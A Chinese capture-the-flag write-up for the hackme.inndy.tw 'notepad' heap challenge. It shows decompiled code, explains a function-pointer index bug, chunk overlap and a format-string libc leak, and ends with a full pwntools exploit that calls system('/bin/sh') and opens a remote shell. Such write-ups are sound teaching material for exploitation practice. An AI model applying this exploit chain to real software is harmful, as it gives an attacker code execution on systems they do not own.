hackme.inndy.tw——notepad

32位程序,没开PIE  #chunk overlapping #越界访问 #格式化字符串 

程序逻辑

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   const char *v4; // [esp+8h] [ebp-20h]
 4   const char *v5; // [esp+Ch] [ebp-1Ch]
 5   const char *v6; // [esp+10h] [ebp-18h]
 6   const char *v7; // [esp+14h] [ebp-14h]
 7   int v8; // [esp+18h] [ebp-10h]
 8   unsigned int v9; // [esp+1Ch] [ebp-Ch]
 9 
10   v9 = __readgsdword(0x14u);
11   setvbuf(stdin, 0, 2, 0);
12   setvbuf(stdout, 0, 2, 0);
13   alarm(0x1Eu);
14   puts(" _                _                   ");
15   puts("| |__   __ _  ___| | ___ __ ___   ___ ");
16   puts("| '_ \\ / _` |/ __| |/ / '_ ` _ \\ / _ \\");
17   puts("| | | | (_| | (__|   <| | | | | |  __/");
18   puts("|_| |_|\\__,_|\\___|_|\\_\\_| |_| |_|\\___|");
19   puts("                                      ");
20   v4 = "bash";
21   v5 = "cmd";
22   v6 = "notepad";
23   v7 = "exit";
24   v8 = 0;
25   while ( 1 )
26   {
27     switch ( menu(&v4) )
28     {
29       case 0:
30         puts("Invalid option");
31         break;
32       case 1:
33         bash();
34         break;
35       case 2:
36         cmd();
37         break;
38       case 3:
39         notepad();
40         break;
41       case 5:
42         return 0;
43       default:
44         continue;
45     }
46   }
47 }

有用的功能只有notepad

 1 void notepad()
 2 {
 3   const char *v0; // [esp+4h] [ebp-24h]
 4   const char *v1; // [esp+8h] [ebp-20h]
 5   const char *v2; // [esp+Ch] [ebp-1Ch]
 6   const char *v3; // [esp+10h] [ebp-18h]
 7   const char *v4; // [esp+14h] [ebp-14h]
 8   int v5; // [esp+18h] [ebp-10h]
 9   unsigned int v6; // [esp+1Ch] [ebp-Ch]
10 
11   v6 = __readgsdword(0x14u);
12   v0 = "New note";
13   v1 = "Open note";
14   v2 = "Delete note";
15   v3 = "Set readonly";
16   v4 = "Keep the secret";
17   v5 = 0;
18   while ( 1 )
19   {
20     switch ( menu(&v0) )
21     {
22       case 0:
23         puts("Unknow option");
24         break;
25       case 1:
26         notepad_new();
27         break;
28       case 2:
29         notepad_open();
30         break;
31       case 3:
32         notepad_delete();
33         break;
34       case 4:
35         notepad_rdonly();
36         break;
37       case 5:
38         notepad_keepsec();
39         break;
40       default:
41         continue;
42     }
43   }

进入new功能看看

 1 int notepad_new()
 2 {
 3   char *v1; // eax
 4   char *v2; // ST1C_4
 5   char **v3; // [esp+4h] [ebp-14h]
 6   int n; // [esp+8h] [ebp-10h]
 7 
 8   v3 = (char **)notepad_find_slot();
 9   if ( !v3 )
10     return puts("space is full");
11   printf("size > ");
12   n = readint();
13   if ( n <= 0 || n > 1024 )
14     return puts("invalid size");
15   v1 = (char *)malloc(n + 16);
16   v2 = v1;
17   *((_DWORD *)v1 + 3) = n;
18   *((_DWORD *)v1 + 2) = 1;
19   *(_DWORD *)v1 = notepad_show;
20   *((_DWORD *)v1 + 1) = notepad_destory;
21   printf("data > ");
22   fgets(v2 + 16, n, stdin);
23   *v3 = v2;
24   return printf("your note id is %d\n", ((char *)v3 - (char *)&notes) >> 2);
25 }

可以看到,new函数,可以分配0x10~0x410大小的chunk,在chunk中有以下结构

1 struct note{
2     notepad_show *notepad_show;//存储一个函数指针,用于输出内容chunk
3     notepad_destroy *notepad_destroy;//存储一个函数指针,用于清空data
4     int flags;//标记,判断是否可以open进行编辑
5     int n;//data数组的大小
6     data[n]//note的内容
7 }

再看看open函数

 1 unsigned int notepad_open()
 2 {
 3   int v0; // ST1C_4
 4   int *v2; // [esp+4h] [ebp-1024h]
 5   int v3; // [esp+8h] [ebp-1020h]
 6   const char *v4; // [esp+10h] [ebp-1018h]
 7   const char *v5; // [esp+14h] [ebp-1014h]
 8   int v6; // [esp+18h] [ebp-1010h]
 9   char s; // [esp+1Ch] [ebp-100Ch]
10   unsigned int v8; // [esp+101Ch] [ebp-Ch]
11 
12   v8 = __readgsdword(0x14u);
13   v2 = (int *)notepad_choose();
14   if ( v2 )
15   {
16     v3 = *v2;
17     puts("note opened");
18     if ( *(_DWORD *)(v3 + 8) && yes_or_no("edit") )
19     {
20       printf("content > ");
21       fgets(&s, 4096, stdin);
22       strncpy((char *)(v3 + 16), &s, *(_DWORD *)(v3 + 12));
23       puts("note saved");
24     }
25     v4 = "show note";
26     v5 = "destory note";
27     v6 = 0;
28     v0 = menu(&v4);
29     (*(void (__cdecl **)(int))(v3 + 4 * (v0 - 1)))(v3); //可以造成后一个chunk访问前一个chunk的内容
30     puts("note closed");
31   }
32   return __readgsdword(0x14u) ^ v8;
33 }

menu函数

 1 int __cdecl menu(int a1)
 2 {
 3   int result; // eax
 4   int i; // [esp+8h] [ebp-10h]
 5   int v3; // [esp+Ch] [ebp-Ch]
 6 
 7   for ( i = 0; *(_DWORD *)(4 * i + a1); ++i )
 8     printf("%c> %s\n", i + 97, *(_DWORD *)(4 * i + a1));
 9   printf("::> ");
10   v3 = getchar() - 97; 
11   freeline();
12   if ( v3 < i ) //v3<0也可通过判断
13     result = v3 + 1;
14   else
15     result = 0;
16   return result;
17 }

利用思路

假设有chunk0和chunk1,使得chunk0的data的最后一个字长内容为一个函数puts的地址,然后在open chunk1,再选择 “show note destory note"的时候输入”^”(也就是ASCII的94)

那么,当执行到(*(v3 + 4 * (v0 - 1)))(v3);的时候,就是执行函数puts(v3),通过这样一种方式实现了改变执行流程执行了其他的函数

这里可以做到执行任意地址,但是参数v3还没法控制,默认还是一个堆的地址,这个时候就需要用到堆的overlap的操作,先free chunk0和chunk1,再重新分配使得chunk1的内容可以任意改,从而控制参数的内容

exploit

 1 from pwn import *
 2 #sh=process('./notepad')
 3 sh=remote('hackme.inndy.tw',7713)
 4 elf=ELF('./notepad')
 5 libc=ELF('./libc-2.23.so.i386')
 6 #libc=ELF('/lib/i386-linux-gnu/libc.so.6')
 7 sh.recvuntil('::> ')
 8 sh.sendline('c')
 9 
10 def newnote(size,data):
11     sh.recvuntil('::> ')
12     sh.sendline('a')
13     sh.recvuntil('size > ')
14     sh.sendline(str(size))
15     sh.recvuntil('data > ')
16     sh.sendline(data)
17 
18 def delnote(idx):
19     sh.recvuntil('::> ')
20     sh.sendline('c')
21     sh.recvuntil('id > ')
22     sh.sendline(str(idx))
23     
24 def opennote(idx,data,chose='a'):
25     sh.recvuntil('::> ')
26     sh.sendline('b')
27     sh.recvuntil('id > ')
28     sh.sendline(str(idx))
29     sh.recvuntil('(Y/n)')
30     sh.sendline('y')
31     sh.recvuntil('content > ')
32     sh.sendline(data)
33     sh.recvuntil('::> ')
34     sh.sendline(chose)
35 
36 def opennote_no(idx,chose='a'):
37     sh.recvuntil('::> ')
38     sh.sendline('b')
39     sh.recvuntil('id > ')
40     sh.sendline(str(idx))
41     sh.recvuntil('(Y/n)')
42     sh.sendline('n')
43     sh.recvuntil('::> ')
44     sh.sendline(chose)
45 
46 newnote(0x60,'aaaa')
47 newnote(0x60,'bbbb')
48 newnote(0x60,'cccc')
49 free_plt=elf.plt['free']
50 payload='a'*0x5c+p32(free_plt)
51 opennote(0,payload)
52 opennote_no(1,'^') #free(1)
53 delnote(0) #free(0)  v0+v1-head_size(0x8)=0xd0
54 
55 printf_plt=elf.plt['printf']
56 payload='a'*0x5c+p32(printf_plt)
57 payload+='a'*8
58 payload+='%1063$p\x00'
59 newnote(0xd0,payload)
60 opennote_no(1,'^')
61 libc_start_main=int(sh.recvuntil('note closed',drop=True),16)-247
62 libc_base=libc_start_main-libc.symbols['__libc_start_main']
63 system_adr=libc_base+libc.symbols['system']
64 payload='a'*0x5c+p32(system_adr)+'a'*8+'/bin/sh\x00'
65 delnote(0)
66 newnote(0xd0,payload)
67 opennote_no(1,'^')
68 sh.interactive()

猜你喜欢

转载自www.cnblogs.com/pfcode/p/10741712.html